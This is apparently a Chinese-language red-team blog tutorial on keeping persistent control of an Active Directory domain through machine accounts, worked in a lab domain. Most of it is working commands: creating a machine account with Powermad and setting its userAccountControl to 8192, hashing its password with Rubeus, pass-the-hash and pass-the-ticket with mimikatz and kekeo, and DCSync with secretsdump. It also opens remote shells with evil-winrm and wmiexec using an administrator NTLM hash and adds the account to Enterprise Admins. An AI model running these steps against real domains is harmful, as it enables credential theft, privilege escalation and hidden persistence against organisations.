0%

利用机器账户进行域维权

前言

机器账户在许多技术中可以用于提权或横向移动,如使用机器账户的委派进行dcsync,使用机器账户也可进行维权操作。我们可以将任意计算机账户添加到高权限组(例如Domain Admin、Domain Controllers、Enterprise Admins) 或对计算机账户的userAccountControl属性进行修改。使用这两种方式,我们可以通过机器账户在域内进行身份认证(因为密码已知)并进行提权操作,例如Dcsync拖取域内hash。

除了上述作用,使用机器账户也可进行域维权操作。我们可以将任意计算机账户添加到高权限组(例如Domain Admin、Domain Controllers、Enterprise Admins) 或对计算机账户的userAccountControl属性进行修改。使用这两种方式,我们可以通过机器账户在域内进行身份认证(因为密码已知)并进行提权操作,例如Dcsync拖取域内hash。

userAccountControl说明

默认的情况下,域中的标准用户最多可以创建10个机器账户,这是由ms-DS-MachineAccountQuota进行设定的。我们可以使用Powermad等工具从加入域和未加入域的主机中进行添加账户操作。但为了让机器账户在域中显示为域控制器,我们还需要将userAccountControl属性设置为0x2000(SERVER_TRUST_ACCOUNT)的值。0x2000换算为十进制数字为8192.修改此属性需要域管理员级别的权限。下面我们从ADSI编辑器中进行修改,改为8192

image-20220217123153176

PowerMad+Active Directory组合:

添加机器账户

我们在进行维权时,可以从利用工具从命令行创建机器账户。例如Standln、SharpMad以及PowerMad等工具;下面展示如何利用PowerMad在域内添加一个机器账户。

1
2
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount Nayon -Domain attack.local -DomainController dc.attack.local

image-20220217123705198

此时我们便添加机器账户成功了,利用如下命令查看:

1
net group "domain computers" /domain

image-20220217124450971

修改机器账户userAccountControl属性值

我们所创建的这台机器账户primarygroupid经过查询可知是515,他是域组的RID,表示这是一台域计算机,利用Active-Module模块,使用域管权限账户为计算机账户Nayon修改userAccountControl值为8192,则primarygroupid将更改为属于域控制器(可写)的 516。

1
2
Get-ADComputer Nayon -pro * | Select-object name, primarygroupid, useraccountcontrol
Set-ADComputer Nayon -replace @{ "userAccountcontrol" = 8192 }

image-20220217125926482

[^此处若发现域主机内不存在Active Directory模块,可在本地上传Microsoft.ActiveDirectory.Management .dll在Powershell利用import-module 进行安装使用]:

此处为执行效果。

获得机器账户hash

由于我们已知机器账户的密码,因此我们可以利用它的NTLM 、aes128、aes256 hash 来进行pth,用于获得一个拥有域控制器权限的会话。

利用Rubes将Nayon账户的明文密码转为NTLM hash,用于维权时进行的pth。

1
Rubeus.exe hash /user:Nayon /password:Password@1! /domain:attack.local

image-20220217182940119

如图所示,成功拿到了机器账户的hash。

利用方式:

PTH传递获得权限

在域内机器上利用mimikatz进行pth攻击,成功弹回具有Nayon用户权限的新会话。

1
sekurlsa::pth /user:Nayon /domain:attack.local /aes128:95F9380561068098A673F425207EFA0D

image-20220217183728074

注意:此处拿到的会话,唯有域用户处于高权限组内才可使用dcsync获得域内hash。

利用PTT获得权限

由于PTH是需要本地管理员权限的,若我们此时连本地管理员权限都没有,我们还可以使用mimikatz自带的ptt功能拿到相应权限。

注意:此处拿到的会话,本人本地测试即使是将机器用户的userAccountConrol属性值改为8192也无法执行dcsync获得域内hash,唯有划入域内高权限组内可以使用机器账户权限执行dcsync。

利用利用Rubes申请拿到机器账户的hash

1
Rubeus.exe hash /user:Nayon /password:123456 /domain:attack.local

使用keke申请tgt票据,用于下一步的ptt攻击

1
tgt::ask /user:Nayon2 /domain:attack.local /ntlm:32ED87BDB5FDC5E9CBA88547376818D4

image-20220219181751543

1
kerberos::ptt  TGT_Nayon@ATTACK.LOCAL_krbtgt~attack.local@ATTACK.LOCAL.kirbi

image-20220219181849365

此时成功拿到域内hash

利用impacket套件执行dcsync

使用Impacket套件中的secretsdump.py脚本,结合域内机器账户的凭证拖取域内hash

1
python3 secretsdump.py attack.local/Nayon\$:'Password@1!'@10.10.10.165 -just-dc

image-20220217224346573

利用其中的域管NTLM hash与域控机进行通信

Evil-WinRM通过WinRM远程链接

前提是域管开启WinRM服务,默认端口5985

指定域管用户以及域管用户的NTLM hash 远程链接

1
evil-winrm -i 10.10.10.165 -u administrator -H dbf36575210cc5a38ab4050cc6a2e9aa

image-20220217233828242

Impacket套件wmiexec.py远程链接

1
python3 wmiexec.py -hash dbf36575210cc5a38ab4050cc6a2e9aa administrator@10.10.10.165

image-20220217234439955

加入高权限用户组用以维权

除去域用户之外,域内机器账户也可以添加到高权限用户组中用以维权。利用Active Directory模块查询域管用户所在的用户组。

1
Get-ADGroupMember "administrators"

image-20220218223834377

使用域管权限的会话添加机器账户Nayon$到高权限用户组内。

可加入Enterprise Admins、Administrators、Domain Admins等高权限组内用以维权。

1
net group "Enterprise admins" Nayon$ /add /domain

利用net group查看是否被添加成功

1
net group "Enterprise admins" /domain

image-20220219174954928

此时我们便可以使用Impacket中的secretsdump项目获得域内hash

1
python3 secretsdump.py attack.local/Nayon\$:'123456'@10.10.10.165 -just-dc-user krbtgt

image-20220219182324269

其余利用方式大同小异,在这里我便不再过多赘述了……